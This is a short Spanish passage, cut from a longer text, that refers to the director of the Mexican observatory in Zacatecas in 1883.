el director del observatorio mexicano de Zacatecas en 1883.